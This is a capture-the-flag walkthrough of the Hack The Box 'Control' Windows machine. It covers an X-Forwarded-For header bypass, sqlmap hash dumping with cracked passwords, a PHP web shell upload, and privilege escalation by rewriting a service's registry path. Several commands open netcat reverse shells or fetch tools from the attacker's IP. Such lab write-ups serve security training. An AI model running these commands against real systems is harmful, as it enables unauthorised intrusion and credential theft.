Hack The Box - Control

1. Intro

HackTheBox Control (10.10.10.167) is a Windows box released on the 23 Nov 2019. The box is based around performing Kerberos attacks on Domain Controllers.

Figure 1
Figure 2 - User Flag

2. The Setup

Note The attacker IP address changed a number of times throughout this tutorial due to VPN issues.

3. Scanning

We begin by trying to enumerate any open ports and services running on our target. To do this we use nmap with the following command:

nmap -sV -A -p- -Pn -T4 -v 10.10.10.167

4. Service Enumeration

From our nmap scan we can see that there is not a lot running on this host outside of services on ports 80 and 135.

4.1 Samba (SMB)

We start our enumeration phase with Enum4Linux using the following command: enum4linux 10.10.10.167

Figure 4
Figure 5

After numerous attempts it became apparent that this was going to get us nowhere.

4.2 Webserver

Figure 6

Navigating the webpage on http://10.10.10.167 we are met with the following error when trying to access the admin page.

Figure 7

After performing some manual enumeration a comment was discovered that appeared to leak an internal IP address as shown in Figure 8.

Figure 8

5. Bypass IP blocks with the X-Forwarded-For header

It is well known that some web applications restrict access based on IP address of the visitor. This is particularly common for administrator interfaces in an attempt to restrict this interface to the IP addresses that are known to be used by actual administrators. It was discovered that it was possible to bypass the restriction on the admin page by spoofing the "X-Forwarded-For" HTTP header and set the IP address to the one found in Figure 8. The following outlines how this was done:

Firstly we setup a rule using the Burp extension "Add Custom Header" to add the "X-Forwarded-For" header to every request we make like so:

Figure 9

Next we go to our Project Options and add a new Session Handling Rule like so:

Figure 10
Figure 11

This successfully allowed us to bypass the IP restriction and access the Admin page.

Figure 12

6. SQL Injection

It was discovered that an SQL injection vulnerability exists in the admin page which resulted ultimately resulted in a low privilege shell. The following how this was done:

Firstly navigate to any product and select view like so:

Figure 13

Copy the request from Burp to a txt file and modify it as shown to include the url:

Figure 14

Next using we can use SQLMAP to enumerate the databases by issuing the following command : sqlmap -r captured_request.txt --dbs

We can see that there are three databases:

  • information_schema

  • mysql

  • warehouse

Focusing on the mysql database we attempt to retrieve a list of tables:

sqlmap -r captured_request.txt -D mysql --tables

Reviewing the output we next try to enumerate the columns in the users table.

sqlmap -r captured_request.txt -D mysql -T user --columns

Next we grab the password hashes for all the users using the following command:

sqlmap -r captured_request.txt -D mysql -T user -C user,Password --dump

Reviewing the output we can see that we have successfully cracked the password for the manager account - l3tm3!n. Checking the remaining hashes on CrackStation.net gives us the plaintext - l33th4x0rhector for the account belonging to hector.

Figure 15

Checking the current user (manager) and there associated privileges, it can be seen that the user hasFILE privileges which means we have the ability to read and write files on the server using statements LOAD_FILE() for reading and INTO OUTFILE for writing. Validating this output we perform a simple Load_File query to read a file off the server like so:

6.1 Arbitrary File Upload

Our next step is to upload a PHP Web Shell that will allow us to execute files on the remote system.

Navigating to http://10.10.10.167/undergrad.php we can see that our reverse shell uploaded successfully.

Figure 16

7. Getting User Flag

Next we upload the netcat executable in order to give us a reverse shell

Figure 17 - NC Listener

Going back to our webshell we execute the following command:

undergrad.exe -e powershell.exe 10.10.15.5 4444

Figure 18
Figure 19
Figure 20

As can be seen in Figure 19 we have successfully executed a reverse shell and are operating as the user nt authority\iusr which is a built-in user for Microsoft IIS. Checking user accounts - Figure 19 we can see an account belonging to Hector. Having already cracked hectors password earlier we can escalate our privs to this user using powershell by creating a PSCredential object and passing the -Credential flag in Invoke-Command.

Setting up the object:

$pass = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential("Fidelity\Hector", $pass)

Next create another Netcat listener on a different port on the attacker machine.

Figure 21

We can now use the Invoke-Command to execute our reverse shell.

Invoke-Command -Computer Fidelity -Credential $cred -ScriptBlock { cmd.exe "/c C:\inetpub\wwwroot\undergrad.exe -e powershell.exe 10.10.15.5 5555" }

Figure 22 - Execute reverse shell
Figure 23 - User Flag

8. Privilege Escalation

Figure 24

Checking the user permissions and groups doesn't result in much. Next we can upload some windows privilege escalations scripts to help with finding potential attack vectors

We can use the simple HTTP server module in python to host the files on our attacker pc and then use powershell to retrieve them

Figure 25

Invoke-WebRequest http://10.10.15.58:8000/winPEAS.exe -OutFile C:\Users\Hector\Documents\winPeas.exe

Figure 26

None of this scripts revealed much. The next step was to check what services Hector has control over. We can discover this by running this ugly PS-cmd script:

get-acl HKLM:\System\CurrentControlSet\services* | Format-List * | findstr /i "Hector Users Path"

Figure 27

9. Getting Root.txt

9.1 Trusted Service Paths

We abuse more or less any of these services (in this case wuauserv) to execute a netcat shell with administrators privileges. To do this we first check the current ImagePath

Figure 28

Next we modify the ImagePath to execute a netcat shell (undergrad.exe that we uploaded in Section 6.1)

reg add "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "C:\inetpub\wwwroot\undergrad.exe 10.10.15.174 6666 -e cmd.exe" /f

Figure 29

Next we setup our listener.

Figure 30

Finally we start the service using the command sc.exe start wuauserv and we should have successfully received a reverse shell that allows us to retrieve the root.txt flag

PreviousHack The Box - MonteverdeNextHack The Box - Resolute

Last updated

Was this helpful?